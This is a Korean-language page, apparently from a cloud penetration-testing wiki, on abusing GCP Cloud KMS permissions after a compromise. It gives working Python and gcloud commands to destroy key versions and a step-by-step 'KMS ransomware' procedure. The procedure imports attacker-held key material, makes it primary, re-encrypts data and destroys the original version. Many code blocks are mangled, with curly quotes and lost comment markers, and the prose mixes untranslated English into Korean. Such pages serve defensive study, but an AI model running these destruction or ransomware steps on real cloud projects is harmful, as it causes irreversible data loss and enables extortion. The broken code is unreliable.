GCP - KMS 사후 침해 활동

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KMS

KMS에 대한 기본 정보는 다음을 참조하세요:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

이 권한을 가진 공격자는 KMS 버전을 파기(destroy)할 수 있습니다. 이를 수행하려면 먼저 키를 비활성화(disable)한 다음 파기해야 합니다:

키 버전 비활성화 및 파기 (Python) ```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

AWS에서는 KMS resource policy를 수정해 공격자 계정만 해당 키를 사용하도록 허용함으로써 **steal a KMS key**가 가능합니다. 이러한 리소스 정책은 GCP에 존재하지 않기 때문에 이는 불가능합니다.

그러나 전역적인 KMS Ransomware를 수행할 수 있는 다른 방법이 있으며, 이는 다음 단계들을 포함합니다:

- 공격자가 가져온 **version of the key with a key material**을 생성
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • 앞으로 암호화될 데이터를 위해 default version으로 설정합니다.
  • 이전 버전으로 암호화된 데이터를 Re-encrypt older data하여 새 버전으로 다시 암호화합니다.
  • Delete the KMS key
  • 이제 원본 키 재료를 가진 attacker만 암호화된 데이터를 복호화할 수 있습니다.

Cloud Storage + CMEK 권한 모델

When objects in Cloud Storage are encrypted with CMEK, the decrypt/encrypt calls to KMS are done by the project’s Cloud Storage service agent whose email is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), not directly by the end user reading the object.

This means that to read something encrypted by a CMEK:

  • The project’s Cloud Storage service agent must have KMS permissions over the used KMS key (typically roles/cloudkms.cryptoKeyEncrypterDecrypter).
  • The user only needs object read permissions (for example storage.objects.get). 사용자는 KMS 키에 대한 권한이 필요하지 않습니다.

즉, KMS 키로 암호화된 데이터에 대한 접근을 제어하려면 프로젝트의 Cloud Storage service agent에게 KMS 권한을 추가/제거해야 합니다.

Note that there is a project-level binding like roles/cloudkms.cryptoKeyEncrypterDecrypter for the Storage service agent will still allow decrypt with the keys in the same project.

Here are the steps to import a new version and disable/delete the older data:

새 키 버전 가져오기 및 이전 버전 삭제 ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>대칭 키로 데이터 암호화 (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

비대칭 키로 메시지 서명 (Python) ```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>비대칭 키로 서명 검증 (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

cloudkms.cryptoKeyVersions.restore

cloudkms.cryptoKeyVersions.restore 권한은 주체가 이전에 파기 대상으로 예약되었거나 Cloud KMS에서 비활성화된 키 버전을 복원하여 활성 및 사용 가능한 상태로 되돌릴 수 있게 합니다.

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

cloudkms.cryptoKeyVersions.update

cloudkms.cryptoKeyVersions.update 권한은 주체가 Cloud KMS의 특정 키 버전의 속성 또는 상태를 수정할 수 있도록 허용합니다. 예를 들어 활성화하거나 비활성화할 수 있습니다.

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

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